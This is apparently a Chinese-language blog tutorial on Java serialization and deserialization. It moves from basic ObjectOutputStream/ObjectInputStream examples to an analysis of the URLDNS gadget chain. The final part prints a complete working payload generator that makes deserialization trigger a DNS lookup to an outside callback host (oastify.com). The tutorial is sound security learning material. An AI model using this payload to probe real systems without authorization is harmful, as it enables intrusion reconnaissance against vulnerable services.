Java反序列化入门

 Von's Blog     2021-10-08   12920 words    & views

序列化与反序列化

JAVA序列化是将对象转换成字节编码(与php不同,php是转换成字符串,java是转换成字节序列,在二进制层面)以方便在网络上进行传输或存储处理的一种方式,而反序列化则是将这段字节编码重新转换为对象的逆向操作。

序列化与反序列化的过程

我们直接来看实践的例子,假如我定义了一个Student

import java.io.Serializable;

public class Student implements Serializable {
    private String name;
    private int id;

    public Student(String name, int id) {
        this.name = name;
        this.id = id;
    }

    @Override
    public String toString() {
        return this.name + ":" +this.id;
    }
}

然后在Seri类中序列化它

import java.io.IOException;
import java.io.ObjectOutputStream;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Seri {
    public static void main(String[] args) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
        oos.writeObject(new Student("Von",1));
    }
}

这段代码中首先创建了一个ObjectOutputStream对象,ObjectOutputStream 是用来序列化对象为字节流的,它的构造器需要传入一个 OutputStream 对象,它负责向指定的输出流写入序列化后的对象(最常用的是FileOutputStream,即将对象数据写入文件系统)。

接着调用ObjectOutputStreamwriteObject方法将对象转换成字节序列写入流中,在这个例子中序列化后的对象被写入了ser.bin中。

最后我们实现一个Unseri类来反序列化这个对象

import java.io.IOException;
import java.io.ObjectInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Unseri {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
        Student student = (Student)ois.readObject();
        System.out.println(student);
    }
}

代码中使用从文件读取的字节流来创建了一个 ObjectInputStream 实例。然后使用该对象的readObject方法得到一个Object对象,由于 readObject 方法返回的是 Object 类型,因此需要强制类型转换 (Student) 来得到正确的 Student 类型。

可以看到反序列化的过程其实就相当于序列化的反过程,只是调用的方法有不同而已

注意点

  1. 需要序列化的对象需实现java.io.Serializable接口:如上面所演示的Student类实现了Serializable接口,其实该接口只是一个标记接口,它不包含任何方法定义,如果一个类实现了 Serializable 接口,这相当于告诉JVM这个类的对象可以被序列化。

  2. 被transient修饰的属性不会被序列化:transient这个修饰符用于声明一个属性不在序列化的时候所保存,例如假如上面该例子中假如id属性用transient修饰,则在序列化的时候该属性的值并不会被保存到ser.bin中,但是由于类的定义中本身确实存在id这个属性的定义(这个属性并不会丢失),所以反序列化的时候会把transient修饰的属性赋予默认值(如int类型的则赋予0)

  3. 被static修饰的属性也不会被序列化:序列化的目的是为了保存一个对象的状态,而被static修饰的属性和方法被认为是属于类的(从调用时通常使用类名.属性也可以看出来),并不满足序列化的定义。以一个例子来说明,假如我们修改以上Student类的定义:

    import java.io.Serializable;
       
    public class Student implements Serializable {
        private String name;
        private int id;
        public static String school = "JYYZ";
       
        public Student(String name, int id) {
            this.name = name;
            this.id = id;
        }
       
        @Override
        public String toString() {
            return this.name + ":" +this.id + ":" + Student.school;
        }
    }
    

    在其他代码不变的基础上Unseri类会输出Von:1:JYYZ,之所以还能正常包含JYYZ,是因为在反序列化时会进行类的加载,类的加载会进行静态属性的赋值和静态代码块的执行,因此Student.school可以正常获取而不会是默认值。要更好的理解序列化被static修饰的属性,我们可以修改Seri类:

    import java.io.IOException;
    import java.io.ObjectOutputStream;
    import java.nio.file.Files;
    import java.nio.file.Paths;
       
    public class Seri {
        public static void main(String[] args) throws IOException {
            ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
            Student stu = new Student("Von",1);
            Student.school = "JDYZ";
            oos.writeObject(stu);
        }
    }
    

    此时修改后执行Unseri时并不会输出JDYZ,因为类变量的值并没有被保存到序列化文件中,在重构对象时只会进行默认的类加载和初始化获得默认值JYYZ

重写writeObject和readObject

Java反序列化的一大特点就是我们可以重写writeObject和readObject实现完全控制反序列化的流程,方法定义分别为:

private void writeObject(ObjectOutputStream out) throws IOException 
private void readObject(ObjectInputStream inputStream)

我们重新定义了Student类:

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class Student implements Serializable {
    private String name;
    private int id;
    public static String school = "JYYZ";

    public Student(String name, int id) {
        this.name = name;
        this.id = id;
    }

    @Override
    public String toString() {
        return this.name + ":" +this.id + ":" + Student.school;
    }

    private void writeObject(ObjectOutputStream outputStream) throws IOException {
        outputStream.defaultWriteObject();
        outputStream.writeObject("Hello World!");
        outputStream.writeInt(123);
    }

    private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
        inputStream.defaultReadObject();
        String s = (String) inputStream.readObject();
        int num = inputStream.readInt();
        System.out.println(s);
        System.out.println(num);

    }
}

在代码中我们重新定义了writeObject的逻辑,在执行正常的defaultWriteObject()写入序列化对象后,再往ObjectOutputStream中依次写入了一个字符串和一个整数,而readObject则是相反的过程,先执行defaultReadObject再按顺序解码出字符串和整数。

而序列化和反序列化时会优先执行要序列化的类的writeObject方法和readObject方法,如果该类没有实现这两个方法才会去调用ObjectInputStream类的默认方法,由此,我们可以完全自定义序列化时写入和读取的内容。

使用SerializationDumper查看序列化的内容

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
  TC_OBJECT - 0x73
    TC_CLASSDESC - 0x72
      className
        Length - 11 - 0x00 0b
        Value - Ser.Student - 0x5365722e53747564656e74
      serialVersionUID - 0xf6 9c 18 0b ee 29 02 4b
      newHandle 0x00 7e 00 00
      classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
      fieldCount - 2 - 0x00 02
      Fields
        0:
          Int - I - 0x49
          fieldName
            Length - 2 - 0x00 02
            Value - id - 0x6964
        1:
          Object - L - 0x4c
          fieldName
            Length - 4 - 0x00 04
            Value - name - 0x6e616d65
          className1
            TC_STRING - 0x74
              newHandle 0x00 7e 00 01
              Length - 18 - 0x00 12
              Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
      classAnnotations
        TC_ENDBLOCKDATA - 0x78
      superClassDesc
        TC_NULL - 0x70
    newHandle 0x00 7e 00 02
    classdata
      Ser.Student
        values
          id
            (int)1 - 0x00 00 00 01
          name
            (object)
              TC_STRING - 0x74
                newHandle 0x00 7e 00 03
                Length - 3 - 0x00 03
                Value - Von - 0x566f6e
        objectAnnotation
          TC_STRING - 0x74
            newHandle 0x00 7e 00 04
            Length - 12 - 0x00 0c
            Value - Hello World! - 0x48656c6c6f20576f726c6421
          TC_BLOCKDATA - 0x77
            Length - 4 - 0x04
            Contents - 0x0000007b
          TC_ENDBLOCKDATA - 0x78

可见,我们额外写入的字符串和整数被写入了objectAnnotation部分。

与PHP的反序列化问题不同,PHP序列化时序列化的逻辑我们是无法控制的,我们通常是通过控制其属性来实现恶意操作的。而Java则不同,通过重写writeObject和readObject,我们可以完全自定义反序列化时会生成的数据以及解析的逻辑,实现了更广的攻击面(最简单的例子便是:由于类中readObject的内容在反序列化时一定会被执行,在readObject中写入恶意代码便可使其在反序列化时一定被执行)。

URLDNS分析

URLDNS这条链是最基本的java反序列化,从这条链中可以学习最基本的反序列化漏洞挖掘流程,以挖掘者的角度来说,首先注意到了URL类(java.net.URL)的hashCode()执行了DNS查询:

public synchronized int hashCode() {
  if (hashCode != -1)
    return hashCode;

  hashCode = handler.hashCode(this);
  return hashCode;
}

当URL类的hashCode属性不为-1时(hashCode的初始定义为private int hashCode = -1;),会执行handler.hashCode(this);,其中handler为URLStreamHandler类,其hashCode方法定义为:

protected int hashCode(URL u) {
  int h = 0;

  // Generate the protocol part.
  String protocol = u.getProtocol();
  if (protocol != null)
    h += protocol.hashCode();

  // Generate the host part.
  InetAddress addr = getHostAddress(u);
  if (addr != null) {
    h += addr.hashCode();
  } else {
    String host = u.getHost();
    if (host != null)
      h += host.toLowerCase().hashCode();
  }

  // Generate the file part.
  String file = u.getFile();
  if (file != null)
    h += file.hashCode();

  // Generate the port part.
  if (u.getPort() == -1)
    h += getDefaultPort();
  else
    h += u.getPort();

  // Generate the ref part.
  String ref = u.getRef();
  if (ref != null)
    h += ref.hashCode();

  return h;
}

其中的getHostAddress(u);会执行DNS查询得到host的地址

由此,我们需要往上找到某个类的某个方法会计算URL对象的hashCode,这样便能将我们的链条联系起来了。这里想到的是HashMap类,HashMap类似于python中的字典,以键-值对的形式组织,同时以hashCode来区分不同的key,同时HashMap类还实现了自己的readObject方法,这使得其有被利用的潜质,我们看下HashMap的readObject方法

private void readObject(ObjectInputStream s)
  throws IOException, ClassNotFoundException {

  ObjectInputStream.GetField fields = s.readFields();

  // Read loadFactor (ignore threshold)
  float lf = fields.get("loadFactor", 0.75f);
  if (lf <= 0 || Float.isNaN(lf))
    throw new InvalidObjectException("Illegal load factor: " + lf);

  lf = Math.min(Math.max(0.25f, lf), 4.0f);
  HashMap.UnsafeHolder.putLoadFactor(this, lf);

  reinitialize();

  s.readInt();                // Read and ignore number of buckets
  int mappings = s.readInt(); // Read number of mappings (size)
  if (mappings < 0) {
    throw new InvalidObjectException("Illegal mappings count: " + mappings);
  } else if (mappings == 0) {
    // use defaults
  } else if (mappings > 0) {
    float fc = (float)mappings / lf + 1.0f;
    int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
               DEFAULT_INITIAL_CAPACITY :
               (fc >= MAXIMUM_CAPACITY) ?
               MAXIMUM_CAPACITY :
               tableSizeFor((int)fc));
    float ft = (float)cap * lf;
    threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                 (int)ft : Integer.MAX_VALUE);

    // Check Map.Entry[].class since it's the nearest public type to
    // what we're actually creating.
    SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
    @SuppressWarnings({"rawtypes","unchecked"})
    Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
    table = tab;

    // Read the keys and values, and put the mappings in the HashMap
    for (int i = 0; i < mappings; i++) {
      @SuppressWarnings("unchecked")
      K key = (K) s.readObject();
      @SuppressWarnings("unchecked")
      V value = (V) s.readObject();
      putVal(hash(key), key, value, false, false);
    }
  }
}

这里其他部分不用关注,只需要关注最后一部分,对每个key都执行了putVal(hash(key), key, value, false, false);

我们跟入查看hash(key)的实现

static final int hash(Object key) {
  int h;
  return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

可以看到当key不为null时便会调用key的hashCode()方法,也就与我们前面所提到的呼应起来,完成了链条的打通,具体利用链为

HashMap.readObject() --> HashMap.putVal() --> HashMap.hash() --> URL.hashCode() -->URLStreamHandler.hashCode().getHostAddress

但是,我们理所当然构造出的如下Payload却是错的(或者说不完善的):

HashMap<URL, Integer> urlIntegerHashMap = new HashMap<URL, Integer>();
URL url = new URL("http://p3tgvj6i7kexd1qiixiuc4ix5obhz6.oastify.com");
urlIntegerHashMap.put(url,1);
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(urlIntegerHashMap);

其中存在的问题在于HashMap的put方法:

public V put(K key, V value) {
  return putVal(hash(key), key, value, false, true);
}

put方法中已经提前执行了一次putVal,这会对hashCode()的执行造成影响:

public synchronized int hashCode() {
  if (hashCode != -1)
    return hashCode;

  hashCode = handler.hashCode(this);
  return hashCode;
}

在执行put函数之前,hashCode属性为-1,会执行handler.hashCode(this)进而执行getHostAddress发起DNS请求,这导致在未进行反序列化时就已经发起了DNS请求,导致我们无从分辨收到的DNS请求是反序列化发出的还是单纯put时发出的,这是第一个影响。 第二个影响是当执行put请求后,由于执行了handler.hashCode(this),导致hashCode的值已经不为-1了,所以序列化保存的对象其实hashCode本身已经不是-1了,反序列化时也压根到不了执行handler.hashCode(this)这一步,所以目前的Payload其实是不会发起DNS请求的。

为了解决这个问题,我们就需要实现两个目标,第一,在put之前让url对象的hashCode不为-1,这样在put时便会直接返回hashCode而不会执行handler.hashCode(this),在put之后将url对象的hashCode改为-1,这样才能执行handler.hashCode(this),这是两个相反的过程,我们借助反射来实现这一目标:

HashMap<URL, Integer> urlIntegerHashMap = new HashMap<URL, Integer>();
URL url = new URL("http://p3tgvj6i7kexd1qiixiuc4ix5obhz6.oastify.com");
Class<URL> urlClass = URL.class;
Field hashCode = urlClass.getDeclaredField("hashCode");    //hashCode是private修饰要用getDeclaredField
hashCode.setAccessible(true);    //因为是private
hashCode.set(url,10);
urlIntegerHashMap.put(url,1);
hashCode.set(url,-1);
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(urlIntegerHashMap);

这样我们就实现了在put时不发起请求而只在反序列化时触发请求的目的,完整代码为:

import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Seri {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
        HashMap<URL, Integer> urlIntegerHashMap = new HashMap<URL, Integer>();
        URL url = new URL("http://p3tgvj6i7kexd1qiixiuc4ix5obhz6.oastify.com");
        Class<URL> urlClass = URL.class;
        Field hashCode = urlClass.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url,10);
        urlIntegerHashMap.put(url,1);
        hashCode.set(url,-1);
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
        oos.writeObject(urlIntegerHashMap);
    }
}
import java.io.IOException;
import java.io.ObjectInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Unseri {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("ser.bin")));
        Object obj = ois.readObject();
        System.out.println(obj);
    }
}

参考资料

Java反序列化漏洞专题-基础篇

反序列化Gadget学习篇一 URLDNS

Burpsuite Collaborato模块详解